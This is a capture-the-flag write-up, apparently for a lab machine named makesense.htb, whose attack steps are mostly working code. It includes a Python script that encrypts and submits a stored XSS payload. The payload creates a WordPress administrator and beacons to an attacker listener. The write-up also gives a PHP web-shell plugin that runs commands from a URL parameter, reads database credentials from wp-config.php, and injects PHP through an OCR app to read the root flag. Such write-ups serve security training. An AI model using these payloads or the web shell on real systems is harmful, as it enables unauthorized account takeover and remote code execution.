Enumeration
nmap -sC -sV -p- --open -Pn 10.129.x.x
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
443/tcp open ssl/http Apache httpd 2.4.58
| ssl-cert: Subject: commonName=makesense.htb
|_http-generator: WordPress 7.0
echo "10.129.x.x makesense.htb" | sudo tee -a /etc/hosts
Browsing to https://makesense.htb shows a corporate homepage with a voice message recorder widget. Open Firefox DevTools → Debugger → wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js. Line 1 exposes the encryption key:
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';
The applySymbolMapping method in the same file is commented "Map spoken words to their symbol equivalents for XSS injection". In main.js, the WordPress AJAX nonce is inlined:
var webagency_ajax = {
"ajax_url": "https://makesense.htb/wp-admin/admin-ajax.php",
"nonce": "85e6eda673"
};
The save_voice_results AJAX action stores the encrypted transcription in a WordPress post reviewed by a Selenium admin bot every ~60 seconds.
Foothold
Start a listener on port 9001 for the bot callback:
python3 -m http.server 9001
The payload fetches the user-new.php nonce from inside the admin session, creates a new WordPress administrator, and beacons back. Encrypt and submit it:
#!/usr/bin/env python3
import os, json, base64, hashlib, subprocess, tempfile, urllib.parse
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI'
TARGET = 'makesense.htb'
IP = '10.129.x.x'
NONCE = '85e6eda673'
MY_IP = '10.10.x.x'
key_bytes = hashlib.sha256(KEY.encode()).digest()
xss = f"""<script>
fetch("/wp-admin/user-new.php").then(r=>r.text()).then(h=>{{
let m=h.match(/name="_wpnonce_create-user" value="([^"]+)"/);
if(!m){{ new Image().src="http://{MY_IP}:9001/no_nonce"; return; }}
let f=new FormData();
f.append("user_login","pwned"); f.append("email","p@p.com");
f.append("pass1","Pwned@2026!"); f.append("pass2","Pwned@2026!");
f.append("role","administrator"); f.append("createuser","");
f.append("_wpnonce_create-user",m[1]); f.append("action","createuser");
fetch("/wp-admin/user-new.php",{{method:"POST",body:f}})
.then(r=>r.text())
.then(t=>{{ new Image().src="http://{MY_IP}:9001/"+(t.includes("added")?"ok":"no"); }})
}})
</script>"""
cf = subprocess.run(['curl','-sk','--resolve',f'{TARGET}:443:{IP}',
'-X','POST',f'https://{TARGET}/wp-admin/admin-ajax.php',
'-d',f'action=submit_contact_form&nonce={NONCE}&name=X&email=x@x.com&phone=1&message=test'],
capture_output=True, text=True)
post_id = json.loads(cf.stdout)['data']['post_id']
payload = {"transcription": xss, "summary": "note"}
iv = os.urandom(12)
ct = AESGCM(key_bytes).encrypt(iv, json.dumps(payload).encode(), None)
enc = base64.b64encode(iv + ct).decode()
body = (
f'action=save_voice_results&nonce={NONCE}&post_id={post_id}'
f'&encrypted_payload={urllib.parse.quote(enc, safe="")}'
)
with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as fh:
fh.write(body); tmp = fh.name
subprocess.run(['curl','-sk','--resolve',f'{TARGET}:443:{IP}',
'-X','POST',f'https://{TARGET}/wp-admin/admin-ajax.php',
'-H','Content-Type: application/x-www-form-urlencoded',
'--data-binary',f'@{tmp}'], capture_output=True)
os.unlink(tmp)
Wait ~60 seconds. When the listener shows /ok the admin user exists.
WordPress Admin → RCE
Log into https://makesense.htb/wp-login.php as pwned / Pwned@2026!. Navigate to Plugins → Add Plugin → Upload Plugin, upload shell.zip:
mkdir /tmp/shell
cat > /tmp/shell/shell.php << 'EOF'
<?php
/**
* Plugin Name: Shell
* Version: 1.0
*/
system($_GET['cmd']);
EOF
cd /tmp && zip -r shell.zip shell/
After activating the plugin, confirm RCE:
https://makesense.htb/wp-content/plugins/shell/shell.php?cmd=id
uid=33(www-data) gid=33(www-data)
Privilege Escalation
www-data → walter
https://makesense.htb/wp-content/plugins/shell/shell.php?cmd=cat+/var/www/html/wp-config.php
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', '<REDACTED>' );
ssh walter@10.129.x.x
walter@makesense:~$ cat user.txt
<REDACTED>
walter → root
ss -tlnp
LISTEN 0 127.0.0.1:8001
ps aux | grep php
root 1396 php -S 127.0.0.1:8001 -t /root/ocr4/
Forward the port and open the OCR app in the browser:
ssh -L 8001:127.0.0.1:8001 walter@10.129.x.x
Browse to http://127.0.0.1:8001 — HTTP Basic Auth with walter / <REDACTED>. The app draws text on a canvas, runs Tesseract OCR on it, and saves the result to saved/<filename> with .php extension allowed.
Generate a PNG of the PHP payload (no trailing semicolon — Tesseract reads ; as :):
php -r '
$text = chr(60).chr(63)."php system(".chr(34)."cat /root/root.txt".chr(34).") ".chr(63).chr(62);
$img = imagecreate(800, 80);
$w = imagecolorallocate($img, 255, 255, 255);
$b = imagecolorallocate($img, 0, 0, 0);
imagestring($img, 5, 5, 25, $text, $b);
ob_start(); imagepng($img);
file_put_contents("/tmp/payload.png", ob_get_clean());
'
scp walter@10.129.x.x:/tmp/payload.png /tmp/payload.png
Intercept the canvas Recognize POST in Burp, replace the base64 data with the payload image:
base64 -w0 /tmp/payload.png
Paste the output (keeping data:image/png;base64, prefix) into Burp Repeater and forward. The OCR result shows <?php system("cat /root/root.txt") ?>. Type root.php in the Save as field and click Save.
http://127.0.0.1:8001/saved/root.php
<REDACTED>
// Discussion